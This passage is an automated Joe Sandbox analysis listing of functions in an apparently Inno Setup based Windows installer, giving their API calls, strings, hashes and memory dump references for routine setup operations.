String ID: ControlOfs%.8X%.8X$Delphi%.8X
API String ID: 316262546-2767913252
Opcode ID: b417f06b73a7dba032b12b865c8ed9bc6bb92a8bfb887f153b822e9fb73695be
Instruction ID: d883a59e21ed3b4d0722d018b4a025de81f9e45e1fd093e44b5ebaba0e30331f
Opcode Fuzzy Hash: b417f06b73a7dba032b12b865c8ed9bc6bb92a8bfb887f153b822e9fb73695be
Instruction Fuzzy Hash: AC115E706142419AD740FF76A94235A7BE1DF64308F40943FF448A7391DB3DA9448B5F

Function 0041363C Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

SetWindowLongA.USER32(?,000000FC,?), ref: 00413664
GetWindowLongA.USER32(?,000000F0), ref: 0041366F
GetWindowLongA.USER32(?,000000F4), ref: 00413681
SetWindowLongA.USER32(?,000000F4,?), ref: 00413694
SetPropA.USER32(?,00000000,00000000), ref: 004136AB
SetPropA.USER32(?,00000000,00000000), ref: 004136C2

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: LongWindow$Prop
String ID:
API String ID: 3887896539-0
Opcode ID: 7846fecbe383e6d7fdaea4169180c186d89bab15e88d328ea810806c298c4441
Instruction ID: 06abc153636d574f2b9d5b42ed2ef1d3d1989bf2b09c04f5b7aa0ee96fd2bcf7
Opcode Fuzzy Hash: 7846fecbe383e6d7fdaea4169180c186d89bab15e88d328ea810806c298c4441
Instruction Fuzzy Hash: 1011C975100244BFEF00DF9DDC84EDA37E8EB19364F144666B958DB2A2D738DD908B68

Function 004556D8 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 142registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,7=H,?,00000001,?,?,00483D37,?,00000001,00000000), ref: 0042DE38

RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,0045586F,?,00000000,004558AF), ref: 004557B5

Strings

WININIT.INI, xrefs: 004557E4
PendingFileRenameOperations, xrefs: 00455754
PendingFileRenameOperations2, xrefs: 00455784
SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 00455738

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseOpen
String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager$WININIT.INI
API String ID: 47109696-2199428270
Opcode ID: 07f23c5f10a1777d8adb94cf70f77fe4357eef37dad5df2571c0597457338bde
Instruction ID: 0fa1da25f67206326559771d92c7e47b52ca8d856d575cc5f046ac455f5bab2a
Opcode Fuzzy Hash: 07f23c5f10a1777d8adb94cf70f77fe4357eef37dad5df2571c0597457338bde
Instruction Fuzzy Hash: FF51A974E006089FDB10EF61DC51AEEB7B9EF44305F50857BEC04A7292DB78AE49CA58

Function 0047CCE8 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 101COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,0047CE3E,?,?,00000000,0049B628,00000000,00000000,?,0049868D,00000000,00498836,?,00000000), ref: 0047CD7B
GetLastError.KERNEL32(00000000,00000000,00000000,0047CE3E,?,?,00000000,0049B628,00000000,00000000,?,0049868D,00000000,00498836,?,00000000), ref: 0047CD84

Strings

Created temporary directory: , xrefs: 0047CD1D
_isetup, xrefs: 0047CD66
\_setup64.tmp, xrefs: 0047CDF6

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: Created temporary directory: $\_setup64.tmp$_isetup
API String ID: 1375471231-2952887711
Opcode ID: d538ba2c3039bdb73ec4ac39b791302eb37db7338bb5f4deaad37bf1b457093d
Instruction ID: ba11e132f7a22b1083de8cbc7a6ad8360160fe80fd77cc9a2081c3b92c19bc15
Opcode Fuzzy Hash: d538ba2c3039bdb73ec4ac39b791302eb37db7338bb5f4deaad37bf1b457093d
Instruction Fuzzy Hash: 0D41F774A001099BDB01EFA5D881ADEB7B9EF45309F50843BE81577392DB38AE05CF68

Function 00452510 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

74D41520.VERSION(00000000,?,?,?,TzI), ref: 00452530
74D41500.VERSION(00000000,?,00000000,?,00000000,004525AB,?,00000000,?,?,?,TzI), ref: 0045255D
74D41540.VERSION(?,004525D4,?,?,00000000,?,00000000,?,00000000,004525AB,?,00000000,?,?,?,TzI), ref: 00452577

Strings

TzI, xrefs: 00452516
%E, xrefs: 004525BB, 00452583

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: D41500D41520D41540
String ID: TzI$%E
API String ID: 2153611984-1977612415
Opcode ID: f18440ec30d6a8502c14f0dca7f1c7caee1af709ad5b943411f89d38bbe9f821
Instruction ID: f5dca5bfdad9659449235e2d7a4f424f1fde127461be4d93bb02e754cc996b3f
Opcode Fuzzy Hash: f18440ec30d6a8502c14f0dca7f1c7caee1af709ad5b943411f89d38bbe9f821
Instruction Fuzzy Hash: D2218331A00608BFDB01DAA989519AFB7FCEB4A300F554477F800E7242E6B9AE04C765

Function 00423A84 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00423A1C), ref: 00423AA8
GetWindow.USER32(?,00000003), ref: 00423ABD
GetWindowLongA.USER32(?,000000EC), ref: 00423ACC
SetWindowPos.USER32(00000000,\AB,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,004241AB,?,?,00423D73), ref: 00423B02

Strings

\AB, xrefs: 00423AF2, 00423AF6

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Window$EnumLongWindows
String ID: \AB
API String ID: 4191631535-3948367934
Opcode ID: a6b95732ad36c4ed598cf8ad5f6fc2ce1ec39a79a418c32ffec9d409914f2416
Instruction ID: 3ad81c14f5822e14e615a382c86082b2427cd388a5bf15486a3129e996868218
Opcode Fuzzy Hash: a6b95732ad36c4ed598cf8ad5f6fc2ce1ec39a79a418c32ffec9d409914f2416
Instruction Fuzzy Hash: D6115E70700610ABDB109F28E885F5677E8EB08715F10026AF994AB2E3C378ED41CB59

Function 0042DE44 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 32registrylibraryloaderCOMMON

Download Yara Rule

APIs

RegDeleteKeyA.ADVAPI32(00000000,00000000), ref: 0042DE50
GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,?,00000000,0042DFEB,00000000,0042E003,?,?,?,?,00000006,?,00000000,004979B1), ref: 0042DE6B
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042DE71

Strings

RegDeleteKeyExA, xrefs: 0042DE61
advapi32.dll, xrefs: 0042DE66

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressDeleteHandleModuleProc
String ID: RegDeleteKeyExA$advapi32.dll
API String ID: 588496660-1846899949
Opcode ID: ed1542cdc99e60fdc1e6205037aed1b156b4601bf62b1d4fa5b097ff81e7402e
Instruction ID: e7246de0df94fba710dd2820c0ca51643d5dd29c3ac0bea476bad59fd0e01b91
Opcode Fuzzy Hash: ed1542cdc99e60fdc1e6205037aed1b156b4601bf62b1d4fa5b097ff81e7402e
Instruction Fuzzy Hash: 73E06DF1B41B30AAD72022657C8ABA33729DB75365F658437F105AD19183FC2C50CE9D

Function 0046BB68 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 320COMMON

Download Yara Rule

Strings

PrepareToInstall failed: %s, xrefs: 0046BEC6
NextButtonClick, xrefs: 0046BCA4
Need to restart Windows? %s, xrefs: 0046BEED

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID:
String ID: Need to restart Windows? %s$NextButtonClick$PrepareToInstall failed: %s
API String ID: 0-2329492092
Opcode ID: cec394d975fdaf2aee331579bf55cbea07fd447a64a53f75d63bb7014959e4c3
Instruction ID: fbba2809a5460a7fd71097577f893fe4d6ee66660c8782d6f0f4b0379b44b166
Opcode Fuzzy Hash: cec394d975fdaf2aee331579bf55cbea07fd447a64a53f75d63bb7014959e4c3
Instruction Fuzzy Hash: DED12034A04108DFCB01EF99D985AEE77F5EF49304F5444BAE404AB352E778AE41CB9A

Function 004831D8 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 226COMMON

Download Yara Rule

APIs

SetActiveWindow.USER32(?,?,00000000,00483529), ref: 004832FC
SHChangeNotify.SHELL32(08000000,00000000,00000000,00000000), ref: 0048339A

Strings

, xrefs: 00483457
Need to restart Windows? %s, xrefs: 004833D7

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ActiveChangeNotifyWindow
String ID: $Need to restart Windows? %s
API String ID: 1160245247-4200181552
Opcode ID: 3e14b90cf77258232b3bc6bc3a04d9e10f68e6a0881c96ff5f1ee50cac7fd4ea
Instruction ID: 92842bbd307381aaa16d6cba9b9fa796c36226c839d179a1896a4d9cb2d435b6
Opcode Fuzzy Hash: 3e14b90cf77258232b3bc6bc3a04d9e10f68e6a0881c96ff5f1ee50cac7fd4ea
Instruction Fuzzy Hash: 6191A1346002449FDB11FF69D885B9D77E4AF45708F5084BBE8009B362DB78AE05CB5E

Function 0046FC2C Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161COMMON

Download Yara Rule

APIs

Part of subcall function 0042C804: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C828

GetLastError.KERNEL32(00000000,0046FE29,?,?,0049C1E0,00000000), ref: 0046FD06
SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 0046FD80
SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 0046FDA5

Strings

Creating directory: %s, xrefs: 0046FCEE

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ChangeNotify$ErrorFullLastNamePath
String ID: Creating directory: %s
API String ID: 2451617938-483064649
Opcode ID: 7ff65050c96da74eae7d5982d64e5de5eb591d7ea390f163716231f3c76be30b
Instruction ID: a2ec2d5d6bca6b198f0ada81e931439429e38c77c5705a19141df8aa82e52df2
Opcode Fuzzy Hash: 7ff65050c96da74eae7d5982d64e5de5eb591d7ea390f163716231f3c76be30b
Instruction Fuzzy Hash: FF514474E00248ABDB01DFA5D982BDEBBF5AF49304F50857AE841B7382D7785E08CB59

Function 00454DD4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,SfcIsFileProtected), ref: 00454E82
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,00454F48), ref: 00454EEC

Strings

SfcIsFileProtected, xrefs: 00454E7C
sfc.dll, xrefs: 00454E44

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressByteCharMultiProcWide
String ID: SfcIsFileProtected$sfc.dll
API String ID: 2508298434-591603554
Opcode ID: ed3065bf52c30a4d03bda7ac99d5f8835c2ab724dd4793bfe352a7c8e95c6105
Instruction ID: 709c5f55a6f5f8285c9c61fd8393730e8027effee09c5548c71846991cac34f0
Opcode Fuzzy Hash: ed3065bf52c30a4d03bda7ac99d5f8835c2ab724dd4793bfe352a7c8e95c6105
Instruction Fuzzy Hash: E8419671A04318DBEB20EF59DC85B9DB7B8AB4430DF5041B7A908A7293D7785F88CA1C

Function 0044B38C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0044B401
SelectObject.GDI32(?,00000000), ref: 0044B424
ReleaseDC.USER32(00000000,?), ref: 0044B457

Strings

7'H, xrefs: 0044B394

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ObjectReleaseSelect
String ID: 7'H
API String ID: 1831053106-2091340224
Opcode ID: 487d3c328bf9daab4408d2fb3c28955f20af11772ddb9247b3fc17e25dcd1d52
Instruction ID: 242bcfed98594cbdcf51f2854abe94a1ec69c13560e3a72339b9f4254961cc58
Opcode Fuzzy Hash: 487d3c328bf9daab4408d2fb3c28955f20af11772ddb9247b3fc17e25dcd1d52
Instruction Fuzzy Hash: 62216570A04248AFEB15DFA6C841B9F7BB9DB49304F11806AF904A7682D778D940CB59

Function 0044B0C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,0044B14C,?,7'H,?,?), ref: 0044B11E
DrawTextW.USER32(?,?,00000000,?,?), ref: 0044B131
DrawTextA.USER32(?,00000000,00000000,?,?), ref: 0044B165

Strings

7'H, xrefs: 0044B0C8

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: DrawText$ByteCharMultiWide
String ID: 7'H
API String ID: 65125430-2091340224
Opcode ID: b9978a40832644be7eb99ff61e6ae739c3599586bb389d309c0d7579617ef2e1
Instruction ID: fec6fabf6d030a51aab30bc406273ff78954f96defe81b00f374268ef7e1f253
Opcode Fuzzy Hash: b9978a40832644be7eb99ff61e6ae739c3599586bb389d309c0d7579617ef2e1
Instruction Fuzzy Hash: 2A11CBB27046047FEB00DB6A9C91D6F77ECDB49750F10817BF504D72D0D6399E018669

Function 0042ED38 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 55libraryloaderCOMMON

Download Yara Rule

APIs

SHAutoComplete.SHLWAPI(00000000,00000001), ref: 0042EDC5

Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7

Part of subcall function 0042E394: SetErrorMode.KERNEL32(00008000), ref: 0042E39E
Part of subcall function 0042E394: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD

GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 0042EDA8

Strings

shlwapi.dll, xrefs: 0042ED73
SHAutoComplete, xrefs: 0042EDA2

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressAutoCompleteDirectoryErrorLibraryLoadModeProcSystem
String ID: SHAutoComplete$shlwapi.dll
API String ID: 395431579-1506664499
Opcode ID: 83276469c0ebec70e551d16da0c88d397ebf3ed8c5bc0ddd4294dd331ce0628a
Instruction ID: e807f919b0f5f47641bb36d66eaae5ab4e0d2818c3cb02d7dc2bc8906116ae4e
Opcode Fuzzy Hash: 83276469c0ebec70e551d16da0c88d397ebf3ed8c5bc0ddd4294dd331ce0628a
Instruction Fuzzy Hash: 3311A330B00319BBD711EB62FD85B8E7BA8DB55704F90447BF40066291DBB8AE05C65D

Function 00455A10 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 41registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,7=H,?,00000001,?,?,00483D37,?,00000001,00000000), ref: 0042DE38

RegCloseKey.ADVAPI32(?,00455A7B,?,00000001,00000000), ref: 00455A6E

Strings

PendingFileRenameOperations2, xrefs: 00455A4F
SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 00455A1C
PendingFileRenameOperations, xrefs: 00455A40

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseOpen
String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager
API String ID: 47109696-2115312317
Opcode ID: b9bc30b321d5ea972d04e739933cf1a4410063a59a252987ccafdd7077dee70d
Instruction ID: e9356c19d9a7d2c1b22529064790e486fb2be540b5bf165494b3782c633fa2c0
Opcode Fuzzy Hash: b9bc30b321d5ea972d04e739933cf1a4410063a59a252987ccafdd7077dee70d
Instruction Fuzzy Hash: A3F0F671304A08BFDB04D661DC62A3B739CE744725FB08167F800CB682EA7CBD04915C

Function 004722A8 Relevance: 6.3, APIs: 4, Instructions: 272fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(000000FF,?,00000000,00472479,?,00000000,?,0049C1E0,00000000,00472669,?,00000000,?,00000000,?,00472835), ref: 00472455
FindClose.KERNEL32(000000FF,00472480,00472479,?,00000000,?,0049C1E0,00000000,00472669,?,00000000,?,00000000,?,00472835,?), ref: 00472473
FindNextFileA.KERNEL32(000000FF,?,00000000,0047259B,?,00000000,?,0049C1E0,00000000,00472669,?,00000000,?,00000000,?,00472835), ref: 00472577
FindClose.KERNEL32(000000FF,004725A2,0047259B,?,00000000,?,0049C1E0,00000000,00472669,?,00000000,?,00000000,?,00472835,?), ref: 00472595

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: d42b92e2e371597014fc9176261d33cd25b6888f3ae98faeb871729603b0318c
Instruction ID: eb1c0c8886eca7f1ffe1f26b35c3cbd1f6627144faaa20e59740d12f8e8e3a3d
Opcode Fuzzy Hash: d42b92e2e371597014fc9176261d33cd25b6888f3ae98faeb871729603b0318c
Instruction Fuzzy Hash: 59C13D3490425DAFCF11DFA5C981ADEBBB9FF48304F5081AAE848B3291D7789A46CF54

Function 0047FE4C Relevance: 6.1, APIs: 4, Instructions: 147fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(000000FF,?,?,?,?,00000000,00480045,?,00000000,00000000,?,?,0048129B,?,?,00000000), ref: 0047FEF2
FindClose.KERNEL32(000000FF,000000FF,?,?,?,?,00000000,00480045,?,00000000,00000000,?,?,0048129B,?,?), ref: 0047FEFF
FindNextFileA.KERNEL32(000000FF,?,00000000,00480018,?,?,?,?,00000000,00480045,?,00000000,00000000,?,?,0048129B), ref: 0047FFF4
FindClose.KERNEL32(000000FF,0048001F,00480018,?,?,?,?,00000000,00480045,?,00000000,00000000,?,?,0048129B,?), ref: 00480012

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: 10871b9626d13ca5387960458781b90e7f9b5a09777a555f3771ff302c9b2176
Instruction ID: ac2e2540d44b616bb1cc33a8e973d6b4270a6d57f7847fbf1b53735ed5558067
Opcode Fuzzy Hash: 10871b9626d13ca5387960458781b90e7f9b5a09777a555f3771ff302c9b2176
Instruction Fuzzy Hash: D6516C31A006489FCB60EF65CC45ADEB7B8EB49319F1084BAA418E7351DB389F89CF54

Function 00421274 Relevance: 6.1, APIs: 4, Instructions: 127windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(00000000), ref: 00421361
SetMenu.USER32(00000000,00000000), ref: 0042137E
SetMenu.USER32(00000000,00000000), ref: 004213B3
SetMenu.USER32(00000000,00000000), ref: 004213CF

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
